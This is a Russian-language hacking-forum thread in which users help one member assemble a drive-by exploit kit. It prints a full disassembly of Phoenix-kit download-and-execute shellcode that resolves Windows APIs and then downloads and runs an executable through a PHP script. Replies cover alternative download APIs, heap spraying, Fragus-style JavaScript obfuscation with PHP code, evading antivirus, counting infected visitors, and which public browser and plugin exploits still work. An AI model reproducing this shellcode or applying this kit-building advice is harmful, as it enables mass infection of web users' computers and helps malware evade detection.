• XSS.stack #1 – первый литературный журнал от юзеров форума

Собираю связку

Правда весь траффик твой придётся проверять на "включённость" йаваскрипта, ибо если у юзера он отключён, то небольшая часть траффика теряется,
Трафик без поддержки яваскрипта фактически НЕ пробиваем паблик сплойтами. Основная идея эксплуатации уязвимости - именно исполнение кода на стороне клиента в защищенной среде, а затем выход из песочницы в систему.
 
Хотел спросить у юзеров: кто какие шк юзает ?
Например рассматривая шк вижу, что URLDownloadToFile юзается в связке с Винекзек, а может кто альтернативу исп. ? Ибо ав ругаются даже на саму функу URLDownloadToFile...

Вот резалт:
http://scanner.novirusthanks.org/file/3dc8...0/YnVpbGQuZXhl/
Заранее спс.
 
Шк из всеми любимого Phoenix Kit или как там его...

00000000 /50 PUSH EAX
00000001 53 PUSH EBX
00000002 51 PUSH ECX
00000003 52 PUSH EDX
00000004 56 PUSH ESI
00000005 57 PUSH EDI
00000006 55 PUSH EBP
00000007 9C PUSHFD
00000008 E8 00000000 CALL 0000000D
0000000D 5D POP EBP
0000000E 83ED 0D SUB EBP,0D
00000011 31C0 XOR EAX,EAX
00000013 64:0340 30 ADD EAX,DWORD PTR FS:[EAX+30]
00000017 78 0C JS SHORT 00000025
00000019 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0000001C 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C]
0000001F AD LODS DWORD PTR DS:[ESI]
00000020 8B40 08 MOV EAX,DWORD PTR DS:[EAX+8]
00000023 EB 09 JMP SHORT 0000002E
00000025 8B40 34 MOV EAX,DWORD PTR DS:[EAX+34]
00000028 8D40 7C LEA EAX,DWORD PTR DS:[EAX+7C]
0000002B 8B40 3C MOV EAX,DWORD PTR DS:[EAX+3C]
0000002E 56 PUSH ESI
0000002F 57 PUSH EDI
00000030 BE 5E010000 MOV ESI,15E
00000035 01EE ADD ESI,EBP
00000037 BF 4E010000 MOV EDI,14E
0000003C 01EF ADD EDI,EBP
0000003E E8 D6010000 CALL 00000219
00000043 5F POP EDI
00000044 5E POP ESI
00000045 89EA MOV EDX,EBP
00000047 81C2 5E010000 ADD EDX,15E
0000004D 52 PUSH EDX
0000004E 68 80000000 PUSH 80
00000053 FF95 4E010000 CALL DWORD PTR SS:[EBP+14E]
00000059 89EA MOV EDX,EBP
0000005B 81C2 5E010000 ADD EDX,15E
00000061 31F6 XOR ESI,ESI
00000063 01C2 ADD EDX,EAX
00000065 8A9C35 63020000 MOV BL,BYTE PTR SS:[EBP+ESI+263]
0000006C 80FB 00 CMP BL,0
0000006F 74 06 JE SHORT 00000077
00000071 881C32 MOV BYTE PTR DS:[EDX+ESI],BL
00000074 46 INC ESI
00000075 ^ EB EE JMP SHORT 00000065
00000077 C60432 00 MOV BYTE PTR DS:[EDX+ESI],0
0000007B 89EA MOV EDX,EBP
0000007D 81C2 45020000 ADD EDX,245
00000083 52 PUSH EDX
00000084 FF95 52010000 CALL DWORD PTR SS:[EBP+152]
0000008A 89EA MOV EDX,EBP
0000008C 81C2 50020000 ADD EDX,250
00000092 52 PUSH EDX
00000093 50 PUSH EAX
00000094 FF95 56010000 CALL DWORD PTR SS:[EBP+156]
0000009A 6A 00 PUSH 0
0000009C 6A 00 PUSH 0
0000009E 89EA MOV EDX,EBP
000000A0 81C2 5E010000 ADD EDX,15E
000000A6 52 PUSH EDX
000000A7 89EA MOV EDX,EBP
000000A9 81C2 78020000 ADD EDX,278
000000AF 52 PUSH EDX
000000B0 6A 00 PUSH 0
000000B2 FFD0 CALL EAX
000000B4 6A 05 PUSH 5
000000B6 89EA MOV EDX,EBP
000000B8 81C2 5E010000 ADD EDX,15E
000000BE 52 PUSH EDX
000000BF FF95 5A010000 CALL DWORD PTR SS:[EBP+15A]
000000C5 89EA MOV EDX,EBP
000000C7 81C2 5E010000 ADD EDX,15E
000000CD 52 PUSH EDX
000000CE 68 80000000 PUSH 80
000000D3 FF95 4E010000 CALL DWORD PTR SS:[EBP+14E]
000000D9 89EA MOV EDX,EBP
000000DB 81C2 5E010000 ADD EDX,15E
000000E1 31F6 XOR ESI,ESI
000000E3 01C2 ADD EDX,EAX
000000E5 8A9C35 6E020000 MOV BL,BYTE PTR SS:[EBP+ESI+26E]
000000EC 80FB 00 CMP BL,0
000000EF 74 06 JE SHORT 000000F7
000000F1 881C32 MOV BYTE PTR DS:[EDX+ESI],BL
000000F4 46 INC ESI
000000F5 ^ EB EE JMP SHORT 000000E5
000000F7 C60432 00 MOV BYTE PTR DS:[EDX+ESI],0
000000FB 89EA MOV EDX,EBP
000000FD 81C2 45020000 ADD EDX,245
00000103 52 PUSH EDX
00000104 FF95 52010000 CALL DWORD PTR SS:[EBP+152]
0000010A 89EA MOV EDX,EBP
0000010C 81C2 50020000 ADD EDX,250
00000112 52 PUSH EDX
00000113 50 PUSH EAX
00000114 FF95 56010000 CALL DWORD PTR SS:[EBP+156]
0000011A 6A 00 PUSH 0
0000011C 6A 00 PUSH 0
0000011E 89EA MOV EDX,EBP
00000120 81C2 5E010000 ADD EDX,15E
00000126 52 PUSH EDX
00000127 89EA MOV EDX,EBP
00000129 81C2 A6020000 ADD EDX,2A6
0000012F 52 PUSH EDX
00000130 6A 00 PUSH 0
00000132 FFD0 CALL EAX
00000134 6A 05 PUSH 5
00000136 89EA MOV EDX,EBP
00000138 81C2 5E010000 ADD EDX,15E
0000013E 52 PUSH EDX
0000013F FF95 5A010000 CALL DWORD PTR SS:[EBP+15A]
00000145 9D POPFD
00000146 5D POP EBP
00000147 5F POP EDI
00000148 5E POP ESI
00000149 5A POP EDX
0000014A 59 POP ECX
0000014B 5B POP EBX
0000014C 58 POP EAX
0000014D C3 RETN
0000014E 0000 ADD BYTE PTR DS:[EAX],AL
00000150 0000 ADD BYTE PTR DS:[EAX],AL
00000152 0000 ADD BYTE PTR DS:[EAX],AL
00000154 0000 ADD BYTE PTR DS:[EAX],AL
00000156 0000 ADD BYTE PTR DS:[EAX],AL
00000158 0000 ADD BYTE PTR DS:[EAX],AL
0000015A 0000 ADD BYTE PTR DS:[EAX],AL
0000015C 0000 ADD BYTE PTR DS:[EAX],AL
0000015E 47 INC EDI
0000015F 65:74 54 JE SHORT 000001B6
00000162 65:6D INS DWORD PTR ES:[EDI],DX
00000164 70 50 JO SHORT 000001B6
00000166 61 POPAD
00000167 74 68 JE SHORT 000001D1
00000169 41 INC ECX
0000016A 004C6F 61 ADD BYTE PTR DS:[EDI+EBP*2+61],CL
0000016E 64:4C DEC ESP
00000170 6962 72 6172794>IMUL ESP,DWORD PTR DS:[EDX+72],41797261
00000177 0047 65 ADD BYTE PTR DS:[EDI+65],AL
0000017A 74 50 JE SHORT 000001CC
0000017C 72 6F JB SHORT 000001ED
0000017E 6341 64 ARPL WORD PTR DS:[ECX+64],AX
00000181 64:72 65 JB SHORT 000001E9
00000184 73 73 JNB SHORT 000001F9
00000186 0057 69 ADD BYTE PTR DS:[EDI+69],DL
00000189 6E OUTS DX,BYTE PTR ES:[EDI]
0000018A 45 INC EBP
0000018B 78 65 JS SHORT 000001F2
0000018D 6300 ARPL WORD PTR DS:[EAX],AX
0000018F BB 89F289F7 MOV EBX,F789F289
00000194 30C0 XOR AL,AL
00000196 AE SCAS BYTE PTR ES:[EDI]
00000197 ^ 75 FD JNZ SHORT 00000196
00000199 29F7 SUB EDI,ESI
0000019B 89F9 MOV ECX,EDI
0000019D 31C0 XOR EAX,EAX
0000019F BE 3C000000 MOV ESI,3C
000001A4 03B5 1B020000 ADD ESI,DWORD PTR SS:[EBP+21B]
000001AA 66:AD LODS WORD PTR DS:[ESI]
000001AC 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
000001B2 8B70 78 MOV ESI,DWORD PTR DS:[EAX+78]
000001B5 83C6 1C ADD ESI,1C
000001B8 03B5 1B020000 ADD ESI,DWORD PTR SS:[EBP+21B]
000001BE 8DBD 1F020000 LEA EDI,DWORD PTR SS:[EBP+21F]
000001C4 AD LODS DWORD PTR DS:[ESI]
000001C5 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
000001CB AB STOS DWORD PTR ES:[EDI]
000001CC AD LODS DWORD PTR DS:[ESI]
000001CD 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
000001D3 50 PUSH EAX
000001D4 AB STOS DWORD PTR ES:[EDI]
000001D5 AD LODS DWORD PTR DS:[ESI]
000001D6 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
000001DC AB STOS DWORD PTR ES:[EDI]
000001DD 5E POP ESI
000001DE 31DB XOR EBX,EBX
000001E0 AD LODS DWORD PTR DS:[ESI]
000001E1 56 PUSH ESI
000001E2 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
000001E8 89C6 MOV ESI,EAX
000001EA 89D7 MOV EDI,EDX
000001EC 51 PUSH ECX
000001ED FC CLD
000001EE F3:A6 REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:>
000001F0 59 POP ECX
000001F1 74 04 JE SHORT 000001F7
000001F3 5E POP ESI
000001F4 43 INC EBX
000001F5 ^ EB E9 JMP SHORT 000001E0
000001F7 5E POP ESI
000001F8 93 XCHG EAX,EBX
000001F9 D1E0 SHL EAX,1
000001FB 0385 27020000 ADD EAX,DWORD PTR SS:[EBP+227]
00000201 31F6 XOR ESI,ESI
00000203 96 XCHG EAX,ESI
00000204 66:AD LODS WORD PTR DS:[ESI]
00000206 C1E0 02 SHL EAX,2
00000209 0385 1F020000 ADD EAX,DWORD PTR SS:[EBP+21F]
0000020F 89C6 MOV ESI,EAX
00000211 AD LODS DWORD PTR DS:[ESI]
00000212 0385 1B020000 ADD EAX,DWORD PTR SS:[EBP+21B]
00000218 C3 RETN
00000219 EB 10 JMP SHORT 0000022B
0000021B 0000 ADD BYTE PTR DS:[EAX],AL
0000021D 0000 ADD BYTE PTR DS:[EAX],AL
0000021F 0000 ADD BYTE PTR DS:[EAX],AL
00000221 0000 ADD BYTE PTR DS:[EAX],AL
00000223 0000 ADD BYTE PTR DS:[EAX],AL
00000225 0000 ADD BYTE PTR DS:[EAX],AL
00000227 0000 ADD BYTE PTR DS:[EAX],AL
00000229 0000 ADD BYTE PTR DS:[EAX],AL
0000022B 8985 1B020000 MOV DWORD PTR SS:[EBP+21B],EAX
00000231 56 PUSH ESI
00000232 57 PUSH EDI
00000233 E8 58FFFFFF CALL 00000190
00000238 5F POP EDI
00000239 5E POP ESI
0000023A AB STOS DWORD PTR ES:[EDI]
0000023B 01CE ADD ESI,ECX
0000023D 803E BB CMP BYTE PTR DS:[ESI],0BB
00000240 74 02 JE SHORT 00000244
00000242 ^ EB ED JMP SHORT 00000231
00000244 C3 RETN
00000245 55 PUSH EBP
00000246 52 PUSH EDX
00000247 4C DEC ESP
00000248 4D DEC EBP
00000249 4F DEC EDI
0000024A 4E DEC ESI
0000024B 2E:44 INC ESP
0000024D 4C DEC ESP
0000024E 4C DEC ESP
0000024F 0055 52 ADD BYTE PTR SS:[EBP+52],DL
00000252 4C DEC ESP
00000253 44 INC ESP
00000254 6F OUTS DX,DWORD PTR ES:[EDI]
00000255 - 77 6E JA SHORT 000002C5
00000257 6C INS BYTE PTR ES:[EDI],DX
00000258 6F OUTS DX,DWORD PTR ES:[EDI]
00000259 61 POPAD
0000025A 64:54 PUSH ESP
0000025C 6F OUTS DX,DWORD PTR ES:[EDI]
0000025D 46 INC ESI
0000025E 696C65 41 00706>IMUL EBP,DWORD PTR SS:[EBP+41],66647000
00000266 - 75 70 JNZ SHORT 000002D8
00000268 64: PREFIX FS:
00000269 2E: PREFIX CS:
0000026A 65:78 65 JS SHORT 000002D2
0000026D 0063 72 ADD BYTE PTR DS:[EBX+72],AH
00000270 61 POPAD
00000271 - 73 68 JNB SHORT 000002DB
00000273 2E:70 68 JO SHORT 000002DE
00000276 - 70 00 JO SHORT 00000278
 
Могно вообще на сокетах.Послать гет запрос к файлу,получить ответ,отделить
нужное от ненужного и сохранить на диск.Токо буфер придется выделять,да и код опухнет..так флейм.
либо
InternetOpen
InternetOpenUrl
InternetReadFile
CreateFileA
WriteFile
 
URLDownloadToCacheFile, качает и сразу пишет на диск возвращая путь до файла.

так повелось что шелкод мол должен быть маленький, но в случае связок где используется (чаще всего) хип спрей, места под шелкод просто завались, так что можете качать файлы как угодно, по сути можно попробовать сделать шелкод, который остановит полностью браузер почистит его память и хип, настроит бинарник лоадера и пустит его в памяти ...
 
как по мне так шеллкод еще проще в visual studio набивать - ну если все правильно там настроить и сделать :) ... немного лишнего кода может получится но это не беда...
да, получение kernel32.dll базы стандартным способом (он очень часто встречается в инете для 9x и xp) не катит с win7 и vista - таким образом там получается база kernelbase.dll , но при желании там есть функа LoadLibraryExA/W ну или использовать универсальный поиск базы , который для всех мастдаев подходит
 
Всем огромное спс за ответы.
Сейчас вот более-менее с шк разобрался, думаю на днях "комплекс" постороить для проверки на палевность выдачи связки, о результатах тут отпишу.
Разработав свой ротор понял, что пока связку детально не разберу - из этого ничего хорошего не получится.

В принципе осталось собрать несколько сплойтов воедино, сделать крипт и можно тестить.

п.с: биг thx to el, пошарил в коде, нашёл для себя кое-что полезное.
 
to Difor:
Ротатор написать не зная основ ? Возможно вы меня не так поняли, я лишь разработал схему выдачи ротора, да и в принципе чего здесь странного: взял, да переписал по аналогии с другим. Зная пхп - йаваскрипт выучить не проблема.

to all:
Каким образом происходит проверка сплоита на палевность ?
Я так понимаю либо сурс выданной странички прогнать через ав, либо тупо на вмваре тестить ?
 
Или воспользоваться услугами сервисов. Они в своем большинстве уже умеют это делать. Только нужно в связке отключать функцию блока неуников, иначе под всеми браузерами не проверит.
 
:mellow: - после изучения методов крипта йаваскрипта в первый раз.
Вроде допёр как Фрагус сплоит выдаёт(поначалу модифицированная base64_decode пхунка на js вводила в ужас):
1)бас64 енкод + иконви(JSMin кампресс):

$string = base64_encode(iconv("WINDOWS-1251", "UTF-8//IGNORE", JavaScript::compress($string)));

2)далее разбивается на строчки(substr) и летит в бак64 декод(там не прямой вызов, а собирается строка с функой):

$string = "var CRYPT...";

3)далее всё это дело прёт ещё раз в JSMin и выдаётся в броузер юзеру:

return JavaScript::compress($string);
function compress($string){
return trim(JSMin::minify($string));
}

Прошу спецов не пинать, пока js только учу.
Сам начинаю потихоньку разбираться в крипте на js - разбора супер механизмов не обещаю, но мб кое-какие способы разберу, до остального сами допрёте.

Знающим:
Мб кто хорошие доки по js подкинет или статьи по крипту.

На счёт "комплекса" по проверке ав:
Не хватает времени на сборку, хотя делать там и нечего.
В принципе онлайн-сервисы вполне устраивают.

Заранее благодарю.
 
Нуждаюсь в помощи, сейчас собираю потихоньку морду и у меня возникает вопрос на счёт определения ip, user_agent.
Допустим я айпи возьму из REMOTE_ADDR, также есть функа:
function stat_ip(){
if( getenv('REMOTE_ADDR'))
{$user_ip = getenv('REMOTE_ADDR');}
elseif( getenv('HTTP_FORWARDED_FOR'))
{$user_ip = getenv('HTTP_FORWARDED_FOR');}
elseif( getenv('HTTP_X_FORWARDED_FOR'))
{$user_ip = getenv('HTTP_X_FORWARDED_FOR');}
elseif( getenv('HTTP_X_COMING_FROM'))
{$user_ip = getenv('HTTP_X_COMING_FROM');}
elseif( getenv('HTTP_VIA'))
{$user_ip = getenv('HTTP_VIA');}
elseif( getenv('HTTP_XROXY_CONNECTION'))
{$user_ip = getenv('HTTP_XROXY_CONNECTION');}
elseif( getenv('HTTP_CLIENT_IP'))
{$user_ip = getenv('HTTP_CLIENT_IP');}
else{$user_ip='unknown';}
if(15 < strlen($user_ip)){
$ar = split(', ', $user_ip);
for($i=sizeof($ar)-1; $i > 0; $i--){
if($ar[$i]!='' and !preg_match('/[a-zA-Zа-яА-Я]/', $ar[$i]))
{$user_ip = $ar[$i]; break; }
if($i==sizeof($ar)-1){$user_ip = 'unknown';}
}
}
if(preg_match('/[a-zA-Zа-яА-Я]/', $user_ip)){$user_ip = 'unknown';}
return $user_ip;
}
так что из них лучше ?
2)по поводу юсер-агента: тут тоже либо брать из HTTP_USER_AGENT(против программ, подм. заголовки не пойдёт), либо получать класс окна. Мб посоветуете какой способ ?
 
так что из них лучше ?
Второй варик он как бы имеет какую-никакую защиту при определении проксей, ну и собственно определяет эти самые прокси, возможно это и актуально на больших объемах, а так..
Что касается юзерагента - лучше всего яваскриптом его проверять наверное, ну и вообще большую часть работы лучше переместить в яваскрипт (тот же ротатор например) ИМХО :)
 
У меня вопросик появился: как узнать пробил эксп юзера или нет ?
Я так понимаю в шеллкод ставить даунлоад на скрипт, который параллельно загрузке файла будет считать пробил он юзера или нет, фактически то, что он зашёл уже означает, что пробито.
Мб какая-то альтернатива есть ?
 
Шеллкод грузит екзе со скрипта, который выдает файл и пишет в базу лоад. Есть масса разных извратств на тему проверки пробитости и т.д., но этот самый распространенный и давольно точный с точки зрения обращения к скрипту. Предполагается, что раз на скрипт поступил хит, значит шеллкод это организовал т.к. обычно не берется в расчет, что хит туда может ещё как-то попасть. Следовательно, сплоит сработал и загрузка удалась, о чем рапортует скрипт...
 
Навоял что-то вроде маленького ротатора, ну и собственно возникла необходимость в тестировании экспов.
Всё, что во фрагусе было - выдрал, а именно:
mdac, pdf, snapshot, aolinwinamp, spreadsheet, ms09002, directshow...
Запахал только mdac под Win XP SP2, IE 6, также что-то выдал pdf, com при выдаче уронил броузер, остальные просто не сработали.
Мб, подскажите какой эксп. "отбросить" мне ?

Тенологию выдачи под опр. броузер я не прошу, только лишь "высветить" наиболее актуал. паблег сплоиты, выдаваемые юзеру.

Я так понимаю сейчас актуальны pdf, swf, flash ?
 
Я так понимаю сейчас актуальны pdf, swf, flash ?
особенно swf и flash ))
да, конечно swf дает больше, но flash более стабилен и тут уже право выбора только перед кодером, нужны долгое тестирование, анализ месяцами, чтобы понять что же стоит использовать, swf или flash, или всё вместе. :D :baby:

если серьезно, то: пдф, мдак, ява.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх